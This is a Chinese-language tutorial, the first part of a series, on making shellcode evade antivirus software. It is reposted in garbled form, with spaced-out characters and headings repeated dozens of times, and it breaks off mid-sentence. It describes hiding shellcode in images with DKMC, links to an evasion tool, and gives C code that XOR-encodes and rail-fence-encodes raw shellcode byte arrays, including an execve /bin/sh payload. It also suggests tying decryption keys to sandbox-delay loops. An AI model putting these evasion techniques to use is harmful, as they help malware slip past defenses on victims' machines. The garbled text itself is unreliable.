搜索

[6826] 2020-07-18_FUD101（连载）：一、shellcode免杀

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-17
2020-07-18_FUD101（连载）：一、shellcode免杀 F U D 1 0 1 （ 连 载 ） ：   一 、 s h e l l c o d e 免 杀 E 安 全   2 0 2 0 - 0 7 - 1 8 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 1 y 0 n N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 针 对 本 篇 及 后 续 文 章 中 用 到 的 部 分 技 术 ， 我 已 经 写 好 了 相 关 代 码 ， 用 于 快 速 生 成 免 杀 的 可 执 行 程 序 ， 源 代 码 放 在 了 针 对 本 篇 及 后 续 文 章 中 用 到 的 部 分 技 术 ， 我 已 经 写 好 了 相 关 代 码 ， 用 于 快 速 生 成 免 杀 的 可 执 行 程 序 ， 源 代 码 放 在 了 ( g i t h u b ) [ h t t p s : / / g i t h u b . c o m / 1 y 0 n / A V _ E v a s i o n _ T o o l ] 上 ， 也 可 以 直 接 下 载 编 译 好 上 ， 也 可 以 直 接 下 载 编 译 好 的 的 ( 程 序 程 序 ) [ h t t p s : / / g i t h u b . c o m / 1 y 0 n / A V _ E v a s i o n _ T o o l / r e l e a s e s ] 工 具 界 面 如 下 ： 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
效 果 如 下 ： 目 前 ， 针 对   s h e l l c o d e   的 免 杀 ， 在 不 讨 论 自 己 编 写   s h e l l c o d e ， 而 是 使 用 现 成 的   s h e l l c o d e （ m s f v e n o m 、 c o b a l t s t r i k e 等 ） 的 情 况 下 ， 主 要 有 两 种 方 式 ： 1 、 分 离 免 杀 、 分 离 免 杀 分 离 免 杀 主 要 是 将   s h e l l c o d e   和   l o a d e r   彻 底 分 开 ， 比 如 可 以 将   s h e l l c o d e   藏 在 其 他 文 件 中 、 放 在 网 络 上 等 等 。 2 、 加 密 混 淆 、 加 密 混 淆 加 密 混 淆 指 将   s h e l l c o d e   进 行 一 定 变 形 处 理 后 ， 同   l o a d e r   放 在 一 起 ， 打 包 为 一 个 完 整 独 立 的 可 执 行 文 件 。 下 面 我 们 分 开 讨 论 这 两 种 方 式 。 N o . 3 N o . 3 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 分 离 免 杀 是 将   s h e l l c o d e   和   l o a d e r   分 成 两 个 不 同 的 文 件 ， 或 者   l o a d e r   是 文 件 ， s h e l l c o d e   是 流 。 我 们 常 说 的 白 名 单 执 行 可 以 视 作 分 离 免 杀 的 一 种 特 殊 形 式 。 相 对 于 加 密 混 淆 ， 分 离 只 需 考 虑 执 行 方 式 免 杀 的 问 题 ， 所 以 这 小 节 更 多 的 是 介 绍 这 种 思 路 及 一 个 工 具 ， 更 多 的 内 容 可 以 参 考 本 系 列 中 执 行 方 式 免 杀 那 部 分 ， 根 据 分 离 后   s h e l l c o d e   的 形 式 不 同 ， l o a d e r   可 能 需 要 进 行 较 大 幅 度 的 改 动 以 正 确 解 析 。 分 离 免 杀 的 缺 点 是 运 用 起 来 比 较 繁 琐 ， 不 像 加 密 混 淆 那 样 最 后 生 成 的 是 一 个 完 整 的 可 执 行 文 件 。 至 于 分 离 后   s h e l l c o d e   的 形 式 ， 可 以 是   m s f v e n o m   直 接 生 成 的   . c   、 . r a w   等 格 式 ， 也 可 以 是   . t x t   或 图 片 格 式 ， 更 可 以 是   . d l l   等 格 式 。 根 据 不 同 的 形 式 ， l o a d e r   需 要 做 出 改 变 以 正 确 解 析 这 些 形 式 ， 如 果 是   . d l l 、 . j s 、 . v b s 、 . s c t 、 . h t a 等 格 式 ， 可 以 考 虑 D L L 注 入 或 白 名 单 执 行 ， D L L 注 入 将 在 后 面 的 章 节 详 细 介 绍 ， 白 名 单 执 行 这 块 亮 神 已 经 写 过 很 多 的 分 享 ， 虽 然 目 前 都 被 查 杀 ， 但 是 测 试 发 现 进 行 简 单 的 混 淆 后 仍 可 绕 过 部 分 杀 软 ， 这 里 就 不 赘 述 。 . c   . r a w   . t x t   等 明 文 格 式 不 多 说 ， 网 上 有 专 门 的 分 享 ， g o o g l e   即 可 。 这 里 主 要 介 绍 一 个 有 趣 的 开 源 项 目 ， D K M C ( D o n t ' t   K i l l   M y   C a t ) 。 项 目 地 址 为 ： h t t p s : / / g i t h u b . c o m / M r - U n 1 k 0 d 3 r / D K M C D o n ' t   k i l l   m y   c a t   i s   a   t o o l   t h a t   g e n e r a t e s   o b f u s c a t e d   s h e l l c o d e   t h a t   i s   s t o r e d   i n s i d e   o f   p o l y g l o t   i m a g e s .   T h e   i m a g e   i s   1 0 0 %   v a l i d   a n d   a l s o   1 0 0 %   v a l i d   s h e l l c o d e . 这 个 开 源 项 目 真 的 是 完 美 诠 释 了 什 么 是 分 离 免 杀 ， 它 将   s h e l l c o d e   放 在 一 张 图 片 里 ， 图 片 看 上 去 完 全 正 常 ， 但 也 可 以 正 常 执 行   s h e l l c o d e   。 详 细 原 理 在 作 者 的   g i t h u b   也 有 介 绍 。 打 开 工 具 ， 按 提 示 生 成 带 有   s h e l l c o d e   的 图 片 ：
杀 软 不 会 主 动 去 查 杀 图 片 文 件 ， 即 使 查 杀 ， 这 个 图 片 也 能 绕 过 绝 大 多 数 的 杀 毒 软 件 。 使 用   l o a d e r   执 行 ， 可 以 正 常 上 线 ： N o . 4 N o . 4 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 加 密 混 淆 针 对 加 密 混 淆 ， 目 前 常 见 的 方 式 有 ： 1 、 、 X O R 异 或 是 最 常 见 的 混 淆 方 式 ， 因 为 它 实 现 起 来 非 常 简 单 ， 一 次 异 或 加 密 ， 两 次 异 或 即 可 恢 复 原 文 ， 并 且 整 个 过 程 不 容 易 产 生 坏 字 符 （ 影 响 程 序 正 常 执 行 的 字 符 ， 如   x 0 0   等 ） ， 但 是 对 于 很 多 杀 毒 软 件 来 说 ， 简 单 的 异 或 并 不 能 绕 过 它 们 的 检 测 ， 所 以 我 们 需 要 想 一 些 附 加 处 理 ， 能 够 在 简 单 异 或 之 外 再 做 点 什 么 ， 在 后 面 我 们 将 编 码 实 现 一 种 变 异 异 或 的 方 式 。 另 外 需 要 注 意 的 是 ， 在 测 试 过 程 中 ， 我 发 现 部 分 杀 软 对 异 或 是 有 特 殊 监 控 规 则 的 ， 当 出 现 循 环 异 或 时 ， 程 序 的 信 息 熵 和 会 增 加 ， 就 会 被 杀 软 认 为 可 疑 。 2 、 古 典 密 码 、 古 典 密 码 经 常 打 C T F 的 赛 棍 们 肯 定 对 古 典 密 码 相 当 熟 悉 ， 古 典 密 码 常 见 的 有 凯 撒 、 栅 栏 、 维 吉 尼 亚 等 等 ， 对 于 古 典 密 码 加 密   s h e l l c o d e ， 网 上 已 经 有 很 多 现 成 的 代 码 ， 后 面 我 们 会 对 网 上 找 到 的 代 码 进 行 测 试 。 3 、 现 代 密 码 、 现 代 密 码 现 代 密 码 （ 包 括 A E S 、 R S A 等 等 ） 在 加 密   s h e l l c o d e   方 面 是 最 有 效 的 ， 但 随 之 而 来 的 是 它 的 复 杂 性 ， 因 为 如 果 要 使 用 这 些 加 密 ， 必 须 要 加 载 第 三 方 库 ， 带 来 的 就 是 编 写 难 度 和 程 序 体 积 的 上 升 ， 鉴 于 其 他 加 密 方 式 已 经 能 达 到 很 好 的 效 果 ， 所 以 我 们 一 般 不 采 用 现 代 密 码 加 密 ， 在 本 章 节 中 也 不 再 讨 论 这 种 方 式 。 这 里 是 一 个   A E S   加 密   s h e l l c o d e   的 实 例 代 码 ， 用 了 o p e n s s l ： h t t p s : / / g i s t . g i t h u b . c o m / a h p a l e u s / d 0 c 1 b 4 3 9 5 3 9 4 b 7 e 5 7 1 2 d 3 1 4 5 8 f b a a d 1 f 4 、 其 他 混 淆 方 式 、 其 他 混 淆 方 式 其 他 混 淆 方 式 就 需 要 发 挥 想 象 力 了 ， 各 种 处 理 方 式 轮 换 着 来 呗 。 后 面 我 们 将 会 编 码 实 现 填 充 垃 圾 数 据 这 种 混 淆 方 式 。 采 用 加 密 混 淆 的 方 式 ， 我 们 最 终 生 成 的 是 一 个 整 体 ， 所 以 ， 包 括   s h e l l c o d e   加 密 混 淆 、 执 行 方 式 、 过 沙 盒 方 式 应 该 有 机 统 一 。 比 如 我 们 在 过 沙 盒 时 ， 使 用 大 循 环 进 行 延 时 绕 过 ， 我 们 就 可 以 用 这 个 大 循 环 最 终 生 成 一 个 值 ， 然 后 将 这 个 值 作 为 加 解 密 的 k e y 使 用 。 如 果 这 个 循 环 被 跳 过 ， 那 么 最 终   s h e l l c o d e   是 无 法 正 确 解 密 的 。 N o . 5 N o . 5 X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R X O R 简 单 异 或 简 单 异 或 简 单 异 或 的 加 解 密 方 式 十 分 简 单 ， 所 以 这 里 不 做 过 多 文 字 描 述 ， 直 接 看 一 下   C / C + +   实 现 异 或 的 代 码 ：
#   i n c l u d e #   i n c l u d e #   i n c l u d e i n t   m a i n ( ) {         u n s i g n e d   c h a r   c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         p r i n t f ( " 原 始 s h e l l c o d e : r n " ) ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                         p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         }         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 c o d e [ i ]   ^ =   1 2 3 ;         }         p r i n t f ( " r n r n 异 或 后 的 s h e l l c o d e : r n " ) ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         }         p r i n t f ( " r n r n 第 二 次 异 或 后 的 s h e l l c o d e : r n " ) ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 c o d e [ i ]   ^ =   1 2 3 ;         }         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         } } 运 行 结 果 ： 变 异 异 或 变 异 异 或 所 谓 变 异 异 或 ， 是 指 在 异 或 基 础 上 ， 再 加 上 一 些 其 他 的 处 理 ， 比 如 填 充 垃 圾 数 据 等 等 。 这 里 实 现 一 种 方 式 ， 根 据 某 种 规 律 生 成 异 或 k e y ， 每 位 异 或 时 均 用 不 同 的 k e y 。 这 样 既 可 以 保 留 异 或 的 优 点 — — 不 容 易 产 生 坏 字 符 、 加 解 密 长 度 不 变 ， 更 可 以 有 效 避 免 部 分 杀 软 对 简 单 异 或 的 查 杀 。 #   i n c l u d e i n c l u d e #   i n c l u d e i n t   m a i n ( ) {         u n s i g n e d   c h a r   c o d e [ ]   = " x 2 b x c 9 x 8 3 x e 9 x c f x e 8 x f f x f f x f f x f f x c 0 x 5 e x 8 1 x 7 6 x 0 e x 6 5 x 8 7 x b e x d 4 x 8 3 x e e x f c x e 2 x f 4 x 9 9 x 6 f x 3 c x d 4 x 6 5 x 8 7 x d e x 5 d x 8 0 x b 6 x 7 e x b 0 x e e x d 7 x 8 e x 5 f x 3 7 x 8 b x 3 5 x 8 6 x 7 1 x 0 c x c c x f c x 6 a x 3 0 x f 4 x f 2 x 5 4 x 7 8 x 1 2 x e 8 x 0 4 x f b x b c x f 8 x 4 5 x 4 6 x 7 1 x d 9 x 6 4 x 4 0 x 5 c x 2 6 x 3 7 x d 0 x 3 5 x 8 6 x 7 5 x 0 c x f 4 x e 8 x e e x c b x a f x a c x 8 6 x c f x b f x 0 5 x 3 4 x 0 c x e 7 x f 4 x 6 4 x 5 4 x 3 5 x 9 d x 7 d x 6 4 x 8 4 x 9 d x e e x b 3 x 3 5 x d 5 x b 3 x b 6 x 4 1 x 7 8 x a 4 x 4 8 x b 3 x d 5 x a 2 x b f x 5 e x a 1 x 9 3 x 8 4 x c 3 x 2 c x 5 e x f a x 9 a x a 1 x 8 1 x d f x 3 5 x 8 c x 4 1 x 8 6 x 6 d x b 2 x e e x 8 b x f 5 x 5 f x 3 d x 9 b x b f x 0 7 x e e x 8 3 x 3 5 x d 5 x b 5 x 0 e x f a x f 0 x 4 1 x d c x e 5 x b 5 x 3 c x d d x e f x 2 b x 8 5 x d 8 x e 1 x 8 e x e e x 9 5 x 5 5 x 5 9 x 3 8 x e d x b f x 5 9 x e 0 x 3 5 x b e x d 4 x 6 5 x d 7 x d 6 x e 5 x e e x e 8 x 3 9 x 2 b x b 0 x 3 c x 4 e x 6 1 x c 7 x d 1 x d 6 x 7 2 x f 0 x 3 a x 2 3 x 2 b x b 0 x b b x b 8 x a 8 x 6 f x 0 7 x 4 5 x 3 4 x 1 0 x 8 2 x 0 5 x 9 3 x 7 6 x f 5 x d 1 x b e x 6 5 x d 4 x 4 1 x 0 1 x 0 6 x e 6 x d 2 x b 7 x 4 b x e 2 x c 6 x b 1 x 6 5 x 8 7 x b e x d 4 " ;         i n t   j   =   2 3 4 ;   / /   设 置 一 个 初 始 数 值         i n t   m i d   =   1 2 ;     / / 设 置 每 次 增 加 的 数 值         / / 上 面 两 个 数 注 意 加 解 密 都 是 一 样         p r i n t f ( " 原 始 s h e l l c o d e : r n " ) ;                 f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         }           f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 c o d e [ i ]   =   c o d e [ i ]   ^   1 2 3   ^   j ;                 j   + =   m i d ;         }           p r i n t f ( " r n r n 异 或 后 的 s h e l l c o d e : r n " ) ;           f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                   p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         }         p r i n t f ( " r n r n 第 二 次 异 或 后 的 s h e l l c o d e : r n " ) ;         j   =   2 3 4 ;   / / 记 得 重 置 j         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 c o d e [ i ]   =   c o d e [ i ]   ^   1 2 3   ^   j ;                 j   + =   m i d ;         }         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( c o d e ) ;   i + + ) {                 p r i n t f ( " x % 0 . 2 x " ,   c o d e [ i ] ) ;         } } 上 面 的 代 码 定 义 了 一 个 初 始 值 ， 这 个 值 在 每 一 次 循 环 时 都 会 增 大 ， 然 后 异 或 是 先 和 一 个 固 定 的 值 进 行 X O R ， 再 和 这 个 变 化 的 值 进 行 X O R 。 运 行 效 果 如 下 ：
N o . 6 N o . 6 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 古 典 密 码 从 网 上 找 了 一 个 使 用 栅 栏 密 码 加 密   s h e l l c o d e   的 例 子 ， 稍 作 修 改 即 可 正 常 使 用 。 代 码 来 自 ： h t t p : / / w w w . a r t i - s e c . c o m / a r t i c l e / e n c r y p t - s h e l l c o d e - d e c r y p t - a n d - r u n - i t - s l a e 加 密 部 分 （ 无 修 改 ） ： #   i n c l u d e #   i n c l u d e #   i n c l u d e         i n t   m a i n ( )   {                 i n t   l ,   j ,   k ,   p ,   t ;     / /   l e n g t h   o f   s t r i n g ,   c o u n t e r s   a n d   a   t o g g l e                 i n t   i [ 2 ] ;               / /   n e e d   t w o   i n c r e m e n t e r s   f o r   a l g o r i t h m                 u n s i g n e d   c h a r   i n p [ ]   =   " x 3 1 x c 0 x 5 0 x 6 8 x 2 f x 2 f x 7 3 x 6 8 x 6 8 x 2 f x 6 2 x 6 9 x 6 e x 8 9 x e 3 x 5 0 x 8 9 x e 2 x 5 3 x 8 9 x e 1 x b 0 x 0 b x c d x 8 0 " ;                 i n t   k e y   =   5 ;                   u n s i g n e d   c h a r *   b u f ;                 l   =   s t r l e n ( i n p ) ; p r i n t f ( " n n S h e l l c o d e   l e n g t h :   % d " ,   l ) ;                 p r i n t f ( " n   K e y :   % d " ,   k e y ) ;                 i f   ( k e y   >   l )   {                           p r i n t f ( " K e y   n e e d s   t o   b e   s h o r t e r   t h a n   l e n g t h   o f   s h e l l c o d e n " ) ;                           e x i t ( 0 ) ;                 }                 / /   m a k e   a   b u f f e r   t o   s t o r e   c i p h e r                 b u f   =   m a l l o c ( l ) ; i f   ( b u f   = =   0 )   {                         p r i n t f ( " n m e m o r y   e x h a u s t e d n " ) ;                         e x i t ( 0 ) ;                 }                 p   =   0 ;             / /   p o s i t i o n   i n   b u f                 / /   d o   t h e   t r a n s p o s i t i o n   c i p h e r                 f o r   ( j   =   0 ;   j   <   k e y ;   j + + )   {                         i [ 0 ]   =   ( j   = =   k e y   -   1   ?   j   :   k e y   -   j   -   1 )   *   2 ;                         i [ 1 ]   =   j   = =   0   ?   i [ 0 ]   :   j   *   2 ;                         t   =   1 ;                         k   =   j ;                         b u f [ p ]   =   i n p [ j ] ; d o   {                                 t   =   ! t ;                                 k   + =   i [ t ] ;                                 p + + ; i f   ( k   <   l )                                 b u f [ p ]   =   i n p [ k ] ;                         } w h i l e   ( k   <   l ) ;                 }                 / /   N o w   p r i n t   t h e   r e s u l t s                 p r i n t f ( " n n " " ) ;                 f o r   ( p   =   0 ;   p   <   l ;   p + + )                           p r i n t f ( " x % 0 2 x " ,   b u f [ p ] ) ;                 p r i n t f ( " " ; n n " ) ;                 f o r   ( p   =   0 ;   p   <   l ;   p + + )                         p r i n t f ( " 0 x % 0 2 x , " ,   b u f [ p ] ) ;                 p r i n t f ( " n n " ) ;                 / /   a n d   c l e a n   u p                 f r e e ( b u f ) ;                 e x i t ( 0 ) ;         } 解 密 部 分 （ 将 执 行 代 码 换 成 了 打 印 ） ：
#   i n c l u d e #   i n c l u d e #   i n c l u d e i n t   m a i n ( )   {         i n t   l ,   j ,   k ,   p ,   t ;     / /   l e n g t h   o f   s t r i n g ,   c o u n t e r s   a n d   a   t o g g l e         i n t   i [ 2 ] ;               / /   n e e d   t w o   i n c r e m e n t e r s   f o r   a l g o r i t h m         u n s i g n e d   c h a r   i n p [ ]   =   " x 3 1 x 6 8 x 8 9 x 8 0 x c 0 x 6 8 x 2 f x 5 0 x e 2 x c d x 5 0 x 7 3 x 6 2 x e 3 x 5 3 x 0 b x 6 8 x 2 f x 6 9 x 8 9 x 8 9 x b 0 x 2 f x 6 e x e 1 " ;         i n t   k e y   =   5 ;         u n s i g n e d   c h a r *   b u f ;         l   =   s t r l e n ( i n p ) ;         p r i n t f ( " n n S h e l l c o d e   l e n g t h :   % d " ,   l ) ;         p r i n t f ( " n   K e y :   % d " ,   k e y ) ;         i f   ( k e y   >   l )   {                 p r i n t f ( " K e y   n e e d s   t o   b e   s h o r t e r   t h a n   l e n g t h   o f   s h e l l c o d e n " ) ;                 e x i t ( 0 ) ;         }         / /   m a k e   a   b u f f e r   t o   s t o r e   c i p h e r         b u f   =   m a l l o c ( l ) ;                 i f   ( b u f   = =   0 )   {                 p r i n t f ( " n m e m o r y   e x h a u s t e d n " ) ;                 e x i t ( 0 ) ;         }         p   =   0 ;             / /   p o s i t i o n   i n   b u f         / /   d o   t h e   t r a n s p o s i t i o n   c i p h e r         f o r   ( j   =   0 ;   j   <   k e y ;   j + + )   {                 i [ 0 ]   =   ( j   = =   k e y   -   1   ?   j   :   k e y   -   j   -   1 )   *   2 ;                 i [ 1 ]   =   j   = =   0   ?   i [ 0 ]   :   j   *   2 ;                 t   =   1 ;                 k   =   j ;                 b u f [ j ]   =   i n p [ p ] ;                 d o   {                         t   =   ! t ;                         k   + =   i [ t ] ;                         p + + ;                         i f   ( k   <   l )                                 b u f [ k ]   =   i n p [ p ] ;                 }   w h i l e   ( k   <   l ) ;         }         / /   N e e d   t o   c o p y   t h e   b u f f e r   o v e r   t h e   o r i g i n a l   s t r i n g         / /   s o   w e   c a n   c l e a n   u p ,   e v e n   w h e n   n o   r e t u r n   f r o m   s h e l l c o d e         p r i n t f ( " " ; n n " ) ;         f o r   ( p   =   0 ;   p   <   l ;   p + + )                 i n p [ p ]   =   b u f [ p ] ;                 f o r   ( p   =   0 ;   p   <   l ;   p + + )                         p r i n t f ( " x % 0 2 x " ,   b u f [ p ] ) ;         p r i n t f ( " " ; n n " ) ;         f o r   ( p   =   0 ;   p   <   l ;   p + + )                 p r i n t f ( " 0 x % 0 2 x , " ,   b u f [ p ] ) ;         p r i n t f ( " n n " ) ;         f r e e ( b u f ) ; } N o . 7 N o . 7 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 其 他 混 淆 方 式 可 以 任 意 组 合 上 面 几 种 加 密 混 淆 ， 也 